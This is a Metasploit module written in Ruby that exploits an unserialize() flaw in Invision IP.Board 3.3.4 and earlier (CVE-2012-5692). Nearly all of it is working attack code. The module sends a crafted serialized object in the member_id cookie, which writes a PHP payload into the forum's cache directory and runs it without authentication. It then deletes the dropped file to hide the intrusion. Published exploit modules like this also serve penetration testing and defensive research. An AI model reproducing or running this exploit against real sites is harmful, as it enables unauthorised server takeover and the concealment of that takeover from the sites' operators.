Invision IP.Board 3.3.4 unserialize() PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'msf/core/exploit/php_exe'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',  
'Description' => %q{  
This module exploits a php unserialize() vulnerability in Invision IP.Board  
<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary  
code under the context of the webserver user.  
  
The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,  
which is called with user controlled data from the cookie. The exploit abuses the  
__destruct() method from the dbMain class to write arbitrary PHP code to a file on  
the Invision IP.Board web directory.  
  
The exploit has been tested successfully on Invision IP.Board 3.3.4.  
},  
'Author' =>  
[  
'EgiX', # Vulnerability discovery and PoC  
'juan vazquez', # Metasploit module  
'sinn3r' # PhpEXE tekniq & check() method  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-5692' ],  
[ 'OSVDB', '86702' ],  
[ 'BID', '56288' ],  
[ 'EDB', '22398' ],  
[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'Space' => 8000, #Apache's limit for GET  
'DisableNops' => true  
},  
'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 25 2012'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])  
], self.class)  
end  
  
def base  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
return base  
end  
  
def check  
res = send_request_raw({'uri'=>"#{base}index.php"})  
return Exploit::CheckCode::Unknown if not res  
  
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten  
version = version.map {|e| e.to_i}  
  
# We only want major version 3  
# This version checking is based on OSVDB's info  
return Exploit::CheckCode::Safe if version[0] != 3  
  
case version[1]  
when 1  
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)  
when 2  
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)  
when 3  
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
begin  
print_warning("#{@peer} - Deleting #{@upload_php}")  
client.fs.file.rm(@upload_php)  
print_good("#{@peer} - #{@upload_php} removed to stay ninja")  
rescue  
print_error("#{@peer} - Unable to remove #{f}")  
end  
end  
end  
  
def exploit  
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"  
@peer = "#{rhost}:#{rport}"  
  
# get_write_exec_payload uses a function, which limits our ability to support  
# Linux payloads, because that requires a space:  
# function my_cmd  
# becomes:  
# functionmy_cmd #Causes parsing error  
# We'll have to address that in the mixin, and then come back to this module  
# again later.  
php_payload = get_write_exec_payload(:unlink_self=>true)  
php_payload = php_payload.gsub(/^\<\?php/, '<?')  
php_payload = php_payload.gsub(/ /,'')  
  
db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"  
  
print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")  
  
res = send_request_cgi(  
{  
'uri' => "#{base}index.php?#{php_payload}",  
'method' => 'GET',  
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"  
})  
  
if not res or res.code != 200  
print_error("#{@peer} - Exploit failed: #{res.code}")  
return  
end  
  
print_status("#{@peer} - Executing the payload #{@upload_php}")  
  
res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})  
  
if res  
print_error("#{@peer} - Payload execution failed: #{res.code}")  
return  
end  
  
end  
end  
`